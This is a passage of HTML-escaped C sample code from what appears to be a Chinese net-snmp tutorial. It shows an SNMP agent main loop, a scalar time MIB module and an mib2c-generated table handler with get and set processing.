/&gt;  int background = 0; /* change this if you want to run in the background */&lt;br /&gt;&lt;br /&gt;  int syslog = 0; /* change this if you want to use syslog */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  /* print log errors to syslog or stderr */&lt;br /&gt;&lt;br /&gt;  if (syslog)&lt;br /&gt;&lt;br /&gt;    snmp_enable_calllog();&lt;br /&gt;&lt;br /&gt;  else&lt;br /&gt;&lt;br /&gt;    snmp_enable_stderrlog();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  /* we&#39;re an agentx subagent? */&lt;br /&gt;&lt;br /&gt;  if (agentx_subagent) {&lt;br /&gt;&lt;br /&gt;    /* make us a agentx client. */&lt;br /&gt;&lt;br /&gt;    netsnmp_ds_set_boolean(NETSNMP_DS_APPLICATION_ID, NETSNMP_DS_AGENT_ROLE, 1);&lt;br /&gt;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  /* run in background, if requested */&lt;br /&gt;&lt;br /&gt;  if (background &amp;&amp; netsnmp_daemonize(1, !syslog))&lt;br /&gt;&lt;br /&gt;      exit(1);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  /* Initialize tcpip, if necessary */&lt;br /&gt;&lt;br /&gt;  SOCK_STARTUP;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  /* Initialize the agent library */&lt;br /&gt;&lt;br /&gt;  init_agent(&quot;example-demon&quot;);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  /* Initialize our mib code here */&lt;br /&gt;&lt;br /&gt;init_foxmail();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  /* initialize vacm/usm access control  */&lt;br /&gt;&lt;br /&gt;  if (!agentx_subagent) {&lt;br /&gt;&lt;br /&gt;    void  init_vacm_vars();&lt;br /&gt;&lt;br /&gt;    void  init_usmUser();&lt;br /&gt;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  /* Example-demon will be used to read example-demon.conf files. */&lt;br /&gt;&lt;br /&gt;  init_snmp(&quot;example-demon&quot;);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  /* If we&#39;re going to be a snmp master agent, initial the ports */&lt;br /&gt;&lt;br /&gt;  if (!agentx_subagent)&lt;br /&gt;&lt;br /&gt;    init_master_agent();  /* open the port to listen on (defaults to udp:161) */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  /* In case we recevie a request to stop (kill -TERM or kill -INT) */&lt;br /&gt;&lt;br /&gt;  keep_running = 1;&lt;br /&gt;&lt;br /&gt;  signal(SIGTERM, stop_server);&lt;br /&gt;&lt;br /&gt;  signal(SIGINT, stop_server);&lt;br /&gt;&lt;br /&gt;  snmp_log(LOG_INFO,&quot;example-demon is up and running.\n&quot;);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  /* your main loop here... */&lt;br /&gt;&lt;br /&gt;  while(keep_running) {&lt;br /&gt;&lt;br /&gt;    /* if you use select(), see snmp_select_info() in snmp_api(3) */&lt;br /&gt;&lt;br /&gt;    /*     --- OR ---  */&lt;br /&gt;&lt;br /&gt;    agent_check_and_process(1); /* 0 == don&#39;t block */&lt;br /&gt;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  /* at shutdown time */&lt;br /&gt;&lt;br /&gt;  snmp_shutdown(&quot;example-demon&quot;);&lt;br /&gt;&lt;br /&gt;  SOCK_CLEANUP;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  return 0;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;6.2         简单变量实现代码&lt;br /&gt;6.2.1       display_time.c&lt;br /&gt;&lt;br /&gt;    /*display_time.c*/&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/net-snmp-config.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/net-snmp-includes.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/agent/net-snmp-agent-includes.h&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#if HAVE_STDLIB_H&lt;br /&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#if TIME_WITH_SYS_TIME&lt;br /&gt;&lt;br /&gt;# ifdef WIN32&lt;br /&gt;&lt;br /&gt;#  include &lt;sys/timeb.h&gt;&lt;br /&gt;&lt;br /&gt;# else&lt;br /&gt;&lt;br /&gt;#  include &lt;sys/time.h&gt;&lt;br /&gt;&lt;br /&gt;# endif&lt;br /&gt;&lt;br /&gt;# include &lt;time.h&gt;&lt;br /&gt;&lt;br /&gt;#else&lt;br /&gt;&lt;br /&gt;# if HAVE_SYS_TIME_H&lt;br /&gt;&lt;br /&gt;#  include &lt;sys/time.h&gt;&lt;br /&gt;&lt;br /&gt;# else&lt;br /&gt;&lt;br /&gt;#  include &lt;time.h&gt;&lt;br /&gt;&lt;br /&gt;# endif&lt;br /&gt;&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#include &quot;util_funcs.h&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#include &quot;Display_time.h&quot;&lt;br /&gt;&lt;br /&gt;#include &quot;ExampleTable.h&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;struct variable2 foxmail_variables[] =&lt;br /&gt;&lt;br /&gt;{   &lt;br /&gt;&lt;br /&gt;       {FoxmailINT,ASN_INTEGER,RONLY,var_foxmail,1,{1}},&lt;br /&gt;&lt;br /&gt;       {FoxmailTIMETICKS, ASN_TIMETICKS, RONLY, var_foxmail, 1, {2}}&lt;br /&gt;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;oid foxmail_variables_oid[] = { 1,3,6,1,4,1,310 };&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void&lt;br /&gt;&lt;br /&gt;init_foxmail(void)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;    REGISTER_MIB(&quot;foxmail&quot;, foxmail_variables, variable2,&lt;br /&gt;&lt;br /&gt;                foxmail_variables_oid);&lt;br /&gt;&lt;br /&gt;    initialize_table_ExampleTable();        &lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;u_char         *&lt;br /&gt;&lt;br /&gt;var_foxmail(struct variable *vp,&lt;br /&gt;&lt;br /&gt;            oid * name,&lt;br /&gt;&lt;br /&gt;            size_t * length,&lt;br /&gt;&lt;br /&gt;            int exact, size_t * var_len, WriteMethod ** write_method)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;    static long     long_ret;   /* for everything else */&lt;br /&gt;&lt;br /&gt;    static time_t timep;&lt;br /&gt;&lt;br /&gt;    struct tm *p;&lt;br /&gt;&lt;br /&gt;    time(&amp;timep); &lt;br /&gt;&lt;br /&gt;   p=gmtime(&amp;timep);&lt;br /&gt;&lt;br /&gt;    DEBUGMSGTL((&quot;foxmail&quot;, &quot;var_foxmail entered\n&quot;));&lt;br /&gt;&lt;br /&gt;    if (header_generic(vp, name, length, exact, var_len, write_method) ==&lt;br /&gt;&lt;br /&gt;        MATCH_FAILED)&lt;br /&gt;&lt;br /&gt;        return NULL;&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;    switch (vp-&gt;magic) {&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    case FoxmailINT:&lt;br /&gt;&lt;br /&gt;        long_ret=timep; &lt;br /&gt;&lt;br /&gt;        return (u_char *) &amp; long_ret;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    case FoxmailTIMETICKS:&lt;br /&gt;&lt;br /&gt;              time(&amp;timep);&lt;br /&gt;&lt;br /&gt;              long_ret=(p-&gt;tm_wday*24*3600+(p-&gt;tm_hour+8)*3600+p-&gt;tm_min*60+p-&gt;tm_sec)*100;           &lt;br /&gt;&lt;br /&gt;              return (u_char*) &amp; long_ret;&lt;br /&gt;&lt;br /&gt;    default:&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;        DEBUGMSGTL((&quot;snmpd&quot;, &quot;unknown sub-id %d in examples/var_example\n&quot;,&lt;br /&gt;&lt;br /&gt;                    vp-&gt;magic));&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;    return NULL;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;6.2.2       display_time.h&lt;br /&gt;&lt;br /&gt;/*display_time.h*/&lt;br /&gt;&lt;br /&gt;#ifndef DISPLAY_TIME_H&lt;br /&gt;&lt;br /&gt;#define DISPLAY_TIME_H&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;config_require(util_funcs)&lt;br /&gt;&lt;br /&gt;extern void init_foxmail(void);&lt;br /&gt;&lt;br /&gt;extern FindVarMethod var_foxmail;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#define FoxmailINT 1&lt;br /&gt;&lt;br /&gt;#define FoxmailTIMETICKS 2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#endif&lt;br /&gt;6.3         表的实现&lt;br /&gt;6.3.1       ExampleTable.c&lt;br /&gt;&lt;br /&gt;/*ExampleTable.c*/&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt; * Note: this file originally auto-generated by mib2c using&lt;br /&gt;&lt;br /&gt; *        : mib2c.iterate_access.conf,v 1.11 2004/08/31 10:23:16 dts12 Exp $&lt;br /&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/net-snmp-config.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/net-snmp-includes.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/agent/net-snmp-agent-includes.h&gt;&lt;br /&gt;&lt;br /&gt;#include &quot;ExampleTable.h&quot;&lt;br /&gt;&lt;br /&gt;#include &quot;ExampleTable_checkfns.h&quot;&lt;br /&gt;&lt;br /&gt;#include &quot;ExampleTable_access.h&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;static netsnmp_oid_stash_node *undoStorage = NULL;&lt;br /&gt;&lt;br /&gt;static netsnmp_oid_stash_node *commitStorage = NULL;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;struct undoInfo {&lt;br /&gt;&lt;br /&gt;   void *ptr;&lt;br /&gt;&lt;br /&gt;   size_t len;&lt;br /&gt;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;struct commitInfo {&lt;br /&gt;&lt;br /&gt;   void *data_context;&lt;br /&gt;&lt;br /&gt;   int have_committed;&lt;br /&gt;&lt;br /&gt;   int new_row;&lt;br /&gt;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void&lt;br /&gt;&lt;br /&gt;ExampleTable_free_undoInfo(void *vptr) {&lt;br /&gt;&lt;br /&gt;    struct undoInfo *ui = vptr;&lt;br /&gt;&lt;br /&gt;    if (!ui)&lt;br /&gt;&lt;br /&gt;        return;&lt;br /&gt;&lt;br /&gt;    SNMP_FREE(ui-&gt;ptr);&lt;br /&gt;&lt;br /&gt;    SNMP_FREE(ui);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/** Initialize the ExampleTable table by defining its contents and how it&#39;s structured */&lt;br /&gt;&lt;br /&gt;void&lt;br /&gt;&lt;br /&gt;initialize_table_ExampleTable(void)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;    static oid ExampleTable_oid[] = {1,3,6,1,4,1,310,3};&lt;br /&gt;&lt;br /&gt;    netsnmp_table_registration_info *table_info;&lt;br /&gt;&lt;br /&gt;    netsnmp_handler_registration *my_handler;&lt;br /&gt;&lt;br /&gt;    netsnmp_iterator_info *iinfo;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /** create the table registration information structures */&lt;br /&gt;&lt;br /&gt;    table_info = SNMP_MALLOC_TYPEDEF(netsnmp_table_registration_info);&lt;br /&gt;&lt;br /&gt;    iinfo = SNMP_MALLOC_TYPEDEF(netsnmp_iterator_info);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    my_handler = netsnmp_create_handler_registration(&quot;ExampleTable&quot;,&lt;br /&gt;&lt;br /&gt;                                             ExampleTable_handler,&lt;br /&gt;&lt;br /&gt;                                             ExampleTable_oid,&lt;br /&gt;&lt;br /&gt;                                             OID_LENGTH(ExampleTable_oid),&lt;br /&gt;&lt;br /&gt;                                             HANDLER_CAN_RWRITE&lt;br /&gt;&lt;br /&gt;                                             );&lt;br /&gt;&lt;br /&gt;          &lt;br /&gt;&lt;br /&gt;    if (!my_handler || !table_info || !iinfo) {&lt;br /&gt;&lt;br /&gt;        snmp_log(LOG_ERR, &quot;malloc failed in initialize_table_ExampleTable&quot;);&lt;br /&gt;&lt;br /&gt;        return; /** Serious error. */&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /***************************************************&lt;br /&gt;&lt;br /&gt;     * Setting up the table&#39;s definition&lt;br /&gt;&lt;br /&gt;     */&lt;br /&gt;&lt;br /&gt;    netsnmp_table_helper_add_indexes(table_info,&lt;br /&gt;&lt;br /&gt;                                  ASN_INTEGER, /** index: MachineNumber */&lt;br /&gt;&lt;br /&gt;                             0);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /** Define the minimum and maximum accessible columns.  This&lt;br /&gt;&lt;br /&gt;        optimizes retrival. */&lt;br /&gt;&lt;br /&gt;    table_info-&gt;min_column = 1;&lt;br /&gt;&lt;br /&gt;    table_info-&gt;max_column = 4;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /** iterator access routines */&lt;br /&gt;&lt;br /&gt;    iinfo-&gt;get_first_data_point = ExampleTable_get_first_data_point;&lt;br /&gt;&lt;br /&gt;    iinfo-&gt;get_next_data_point = ExampleTable_get_next_data_point;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /** you may wish to set these as well */&lt;br /&gt;&lt;br /&gt;#ifdef MAYBE_USE_THESE&lt;br /&gt;&lt;br /&gt;    iinfo-&gt;make_data_context = ExampleTable_context_convert_function;&lt;br /&gt;&lt;br /&gt;    iinfo-&gt;free_data_context = ExampleTable_data_free;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /** pick *only* one of these if you use them */&lt;br /&gt;&lt;br /&gt;    iinfo-&gt;free_loop_context = ExampleTable_loop_free;&lt;br /&gt;&lt;br /&gt;    iinfo-&gt;free_loop_context_at_end = ExampleTable_loop_free;&lt;br /&gt;&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /** tie the two structures together */&lt;br /&gt;&lt;br /&gt;    iinfo-&gt;table_reginfo = table_info;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /***************************************************&lt;br /&gt;&lt;br /&gt;     * registering the table with the master agent&lt;br /&gt;&lt;br /&gt;     */&lt;br /&gt;&lt;br /&gt;    DEBUGMSGTL((&quot;initialize_table_ExampleTable&quot;,&lt;br /&gt;&lt;br /&gt;                &quot;Registering table ExampleTable as a table iterator\n&quot;));            &lt;br /&gt;&lt;br /&gt;    netsnmp_register_table_iterator(my_handler, iinfo);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/** Initializes the ExampleTable module */&lt;br /&gt;&lt;br /&gt;/*void&lt;br /&gt;&lt;br /&gt;init_ExampleTable(void)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;  /** here we initialize all the tables we&#39;re planning on supporting */&lt;br /&gt;&lt;br /&gt;/*    initialize_table_ExampleTable();&lt;br /&gt;&lt;br /&gt;}*/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/** handles requests for the ExampleTable table, if anything else needs to be done */&lt;br /&gt;&lt;br /&gt;int&lt;br /&gt;&lt;br /&gt;ExampleTable_handler(&lt;br /&gt;&lt;br /&gt;    netsnmp_mib_handler               *handler,&lt;br /&gt;&lt;br /&gt;    netsnmp_handler_registration      *reginfo,&lt;br /&gt;&lt;br /&gt;    netsnmp_agent_request_info        *reqinfo,&lt;br /&gt;&lt;br /&gt;    netsnmp_request_info              *requests) {&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    netsnmp_request_info *request;&lt;br /&gt;&lt;br /&gt;    netsnmp_table_request_info *table_info;&lt;br /&gt;&lt;br /&gt;    netsnmp_variable_list *var;&lt;br /&gt;&lt;br /&gt;    struct commitInfo *ci = NULL;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    void *data_context = NULL;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    oid *suffix;&lt;br /&gt;&lt;br /&gt;    size_t suffix_len;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /** column and row index encoded portion */&lt;br /&gt;&lt;br /&gt;    suffix = requests-&gt;requestvb-&gt;name + reginfo-&gt;rootoid_len + 1;&lt;br /&gt;&lt;br /&gt;    suffix_len = requests-&gt;requestvb-&gt;name_length -&lt;br /&gt;&lt;br /&gt;        (reginfo-&gt;rootoid_len + 1);&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;    for(request = requests; request; request = request-&gt;next) {&lt;br /&gt;&lt;br /&gt;        var = request-&gt;requestvb;&lt;br /&gt;&lt;br /&gt;        if (request-&gt;processed != 0)&lt;br /&gt;&lt;br /&gt;            continue;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        switch (reqinfo-&gt;mode) {&lt;br /&gt;&lt;br /&gt;        case MODE_GET:&lt;br /&gt;&lt;br /&gt;            data_context =  netsnmp_extract_iterator_context(request);&lt;br /&gt;&lt;br /&gt;            if (data_context == NULL) {&lt;br /&gt;&lt;br /&gt;                netsnmp_set_request_error(reqinfo, request,&lt;br /&gt;&lt;br /&gt;                                          SNMP_NOSUCHINSTANCE);&lt;br /&gt;&lt;br /&gt;                continue;&lt;br /&gt;&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            break;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        case MODE_SET_RESERVE1:&lt;br /&gt;&lt;br /&gt;            data_context =  netsnmp_extract_iterator_context(request);&lt;br /&gt;&lt;br /&gt;            if (data_context == NULL) {&lt;br /&gt;&lt;br /&gt;                netsnmp_set_request_error(reqinfo, request,&lt;br /&gt;&lt;br /&gt;                                          SNMP_ERR_NOCREATION);&lt;br /&gt;&lt;br /&gt;                continue;&lt;br /&gt;&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            break;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        default: /* == the other SET modes */&lt;br /&gt;&lt;br /&gt;            ci = netsnmp_oid_stash_get_data(commitStorage,&lt;br /&gt;&lt;br /&gt;                                            suffix+1, suffix_len-1);&lt;br /&gt;&lt;br /&gt;            break;&lt;br /&gt;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        /** extracts the information about the table from the request */&lt;br /&gt;&lt;br /&gt;        table_info = netsnmp_extract_table_info(request);&lt;br /&gt;&lt;br /&gt;        /** table_info-&gt;colnum contains the column number requested */&lt;br /&gt;&lt;br /&gt;        /** table_info-&gt;indexes contains a linked list of snmp variable&lt;br /&gt;&lt;br /&gt;           bindings for the indexes of the table.  Values in the list&lt;br /&gt;&lt;br /&gt;           have been set corresponding to the indexes of the&lt;br /&gt;&lt;br /&gt;           request */&lt;br /&gt;&lt;br /&gt;        if (table_info == NULL) {&lt;br /&gt;&lt;br /&gt;            continue;&lt;br /&gt;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        switch(reqinfo-&gt;mode) {&lt;br /&gt;&lt;br /&gt;            case MODE_GET:&lt;br /&gt;&lt;br /&gt;                switch(table_info-&gt;colnum) {&lt;br /&gt;&lt;br /&gt;                    case COLUMN_MACHINENUMBER:&lt;br /&gt;&lt;br /&gt;                            {&lt;br /&gt;&lt;br /&gt;                                long *retval;&lt;br /&gt;&lt;br /&gt;                                size_t retval_len = 0;&lt;br /&gt;&lt;br /&gt;                                retval = get_MachineNumber(data_context, &amp;retval_len);&lt;br /&gt;&lt;br /&gt;                                if (retval)&lt;br /&gt;&lt;br /&gt;                                    snmp_set_var_typed_value(var, ASN_INTEGER,&lt;br /&gt;&lt;br /&gt;                                                         (const u_char *) retval,&lt;br /&gt;&lt;br /&gt;                                                         retval_len);&lt;br /&gt;&lt;br /&gt;                            }&lt;br /&gt;&lt;br /&gt;                        break;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                    case COLUMN_MACHINESTATUS:&lt;br /&gt;&lt;br /&gt;                            {&lt;br /&gt;&lt;br /&gt;                                char *retval;&lt;br /&gt;&lt;br /&gt;                                size_t retval_len = 0;&lt;br /&gt;&lt;br /&gt;                                retval = get_MachineStatus(data_context, &amp;retval_len);&lt;br /&gt;&lt;br /&gt;                                if (retval)&lt;br /&gt;&lt;br /&gt;                                    snmp_set_var_typed_value(var, ASN_OCTET_STR,&lt;br /&gt;&lt;br /&gt;                                                         (const u_char *) retval,&lt;br /&gt;&lt;br /&gt;                                                         retval_len);&lt;br /&gt;&lt;br /&gt;                            }&lt;br /&gt;&lt;br /&gt;                        break;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                    case COLUMN_CHECKTIME:&lt;br /&gt;&lt;br /&gt;                            {&lt;br /&gt;&lt;br /&gt;                                u_long *retval;&lt;br /&gt;&lt;br /&gt;                                size_t retval_len = 0;&lt;br /&gt;&lt;br /&gt;                                retval = get_CheckTime(data_context, &amp;retval_len);&lt;br /&gt;&lt;br /&gt;                                if (retval)&lt;br /&gt;&lt;br /&gt;                                    snmp_set_var_typed_value(var, ASN_TIMETICKS,&lt;br /&gt;&lt;br /&gt;                                                         (const u_char *) retval,&lt;br /&gt;&lt;br /&gt;                                                         retval_len);&lt;br /&gt;&lt;br /&gt;                            }&lt;br /&gt;&lt;br /&gt;                        break;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                    case COLUMN_MONSET:&lt;br /&gt;&lt;br /&gt;                            {&lt;br /&gt;&lt;br /&gt;                                long *retval;&lt;br /&gt;&lt;br /&gt;                                size_t retval_len = 0;&lt;br /&gt;&lt;br /&gt;                                retval = get_MonSet(data_context, &amp;retval_len);&lt;br /&gt;&lt;br /&gt;                                if (retval)&lt;br /&gt;&lt;br /&gt;                                    snmp_set_var_typed_value(var, ASN_INTEGER,&lt;br /&gt;&lt;br /&gt;                                                         (const u_char *) retval,&lt;br /&gt;&lt;br /&gt;                                                         retval_len);&lt;br /&gt;&lt;br /&gt;                            }&lt;br /&gt;&lt;br /&gt;                        break;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                    default:&lt;br /&gt;&lt;br /&gt;                /** We shouldn&#39;t get here */&lt;br /&gt;&lt;br /&gt;                        snmp_log(LOG_ERR, &quot;problem encountered in ExampleTable_handler: unknown column\n&quot;);&lt;br /&gt;&lt;br /&gt;                }&lt;br /&gt;&lt;br /&gt;                break;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            case MODE_SET_RESERVE1:&lt;br /&gt;&lt;br /&gt;                ci = netsnmp_oid_stash_get_data(commitStorage,&lt;br /&gt;&lt;br /&gt;                                                suffix+1, suffix_len-1);&lt;br /&gt;&lt;br /&gt;              &lt;br /&gt;&lt;br /&gt;                if (!ci) {&lt;br /&gt;&lt;br /&gt;                    /** create the commit storage info */&lt;br /&gt;&lt;br /&gt;                    ci = SNMP_MALLOC_STRUCT(commitInfo);&lt;br /&gt;&lt;br /&gt;                    if (!data_context) {&lt;br /&gt;&lt;br /&gt;                       // ci-&gt;data_context = ExampleTable_create_data_context(table_info-&gt;indexes);&lt;br /&gt;&lt;br /&gt;                        ci-&gt;new_row = 1;&lt;br /&gt;&lt;br /&gt;                    } else {&lt;br /&gt;&lt;br /&gt;                        ci-&gt;data_context = data_context;&lt;br /&gt;&lt;br /&gt;                    }&lt;br /&gt;&lt;br /&gt;                    netsnmp_oid_stash_add_data(&amp;commitStorage,&lt;br /&gt;&lt;br /&gt;                                               suffix+1, suffix_len-1, ci);&lt;br /&gt;&lt;br /&gt;                }&lt;br /&gt;&lt;br /&gt;            break;&lt;br /&gt;&lt;br /&gt;              &lt;br /&gt;&lt;br /&gt;            case MODE_SET_RESERVE2:&lt;br /&gt;&lt;br /&gt;                switch(table_info-&gt;colnum) {&lt;br /&gt;&lt;br /&gt;                          case COLUMN_MONSET:&lt;br /&gt;&lt;br /&gt;                            {&lt;br /&gt;&lt;br /&gt;                                long *retval;&lt;br /&gt;&lt;br /&gt;                                size_t retval_len = 0;&lt;br /&gt;&lt;br /&gt;                                struct undoInfo *ui = NULL;&lt;br /&gt;&lt;br /&gt;                                int ret;&lt;br /&gt;&lt;br /&gt;                              &lt;br /&gt;&lt;br /&gt;                    /** first, get the old value */&lt;br /&gt;&lt;br /&gt;                                retval = get_MonSet(ci-&gt;data_context, &amp;retval_len);&lt;br /&gt;&lt;br /&gt;                                if (retval) {&lt;br /&gt;&lt;br /&gt;                                    ui = SNMP_MALLOC_STRUCT(undoInfo);&lt;br /&gt;&lt;br /&gt;                                    ui-&gt;len = retval_len;&lt;br /&gt;&lt;br /&gt;                                    memdup((u_char **) &amp;ui-&gt;ptr,&lt;br /&gt;&lt;br /&gt;                                           (u_char *) retval,&lt;br /&gt;&lt;br /&gt;                                           ui-&gt;len);&lt;br /&gt;&lt;br /&gt;                                }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                    /** check the new value, possibly against the&lt;br /&gt;&lt;br /&gt;                        older value for a valid state transition */&lt;br /&gt;&lt;br /&gt;                                ret = check_MonSet(request-&gt;requestvb-&gt;type,&lt;br /&gt;&lt;br /&gt;                                                   (long *) request-&gt;requestvb-&gt;val.integer,&lt;br /&gt;&lt;br /&gt;                                                   request-&gt;requestvb-&gt;val_len,&lt;br /&gt;&lt;br /&gt;                                                   retval, retval_len);&lt;br /&gt;&lt;br /&gt;                                if (ret != 0) {&lt;br /&gt;&lt;br /&gt;                                    netsnmp_set_request_error(reqinfo, request,&lt;br /&gt;&lt;br /&gt;                                                              ret);&lt;br /&gt;&lt;br /&gt;                                    ExampleTable_free_undoInfo(ui);&lt;br /&gt;&lt;br /&gt;                                } else if (ui) {&lt;br /&gt;&lt;br /&gt;                        /** remember information for undo purposes later */&lt;br /&gt;&lt;br /&gt;                                    netsnmp_oid_stash_add_data(&amp;undoStorage,&lt;br /&gt;&lt;br /&gt;                                                               suffix,&lt;br /&gt;&lt;br /&gt;                                                               suffix_len,&lt;br /&gt;&lt;br /&gt;                                                               ui);&lt;br /&gt;&lt;br /&gt;                                }&lt;br /&gt;&lt;br /&gt;                              &lt;br /&gt;&lt;br /&gt;                            }&lt;br /&gt;&lt;br /&gt;                            break;&lt;br /&gt;&lt;br /&gt;                    default:&lt;br /&gt;&lt;br /&gt;                       netsnmp_set_request_error(reqinfo, request,&lt;br /&gt;&lt;br /&gt;                                                 SNMP_ERR_NOTWRITABLE);&lt;br /&gt;&lt;br /&gt;                       break;&lt;br /&gt;&lt;br /&gt;                 }&lt;br /&gt;&lt;br /&gt;                break;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            case MODE_SET_ACTION:&lt;br /&gt;&lt;br /&gt;            /** save a variable copy */&lt;br /&gt;&lt;br /&gt;                switch(table_info-&gt;colnum) {&lt;br /&gt;&lt;br /&gt;                          case COLUMN_MONSET:&lt;br /&gt;&lt;br /&gt;                            {&lt;br /&gt;&lt;br /&gt;                                int ret;&lt;br /&gt;&lt;br /&gt;                                ret = set_MonSet(ci-&gt;data_context,&lt;br /&gt;&lt;br /&gt;                                             (long *) request-&gt;requestvb-&gt;val.integer,&lt;br /&gt;&lt;br /&gt;                                             request-&gt;requestvb-&gt;val_len);&lt;br /&gt;&lt;br /&gt;                                if (ret) {&lt;br /&gt;&lt;br /&gt;                                    netsnmp_set_request_error(reqinfo, request,&lt;br /&gt;&lt;br /&gt;                                                              ret);&lt;br /&gt;&lt;br /&gt;                                }&lt;br /&gt;&lt;br /&gt;                            }&lt;br /&gt;&lt;br /&gt;                            break;&lt;br /&gt;&lt;br /&gt;                 }&lt;br /&gt;&lt;br /&gt;                break;&lt;br /&gt;&lt;br /&gt;&lt;br 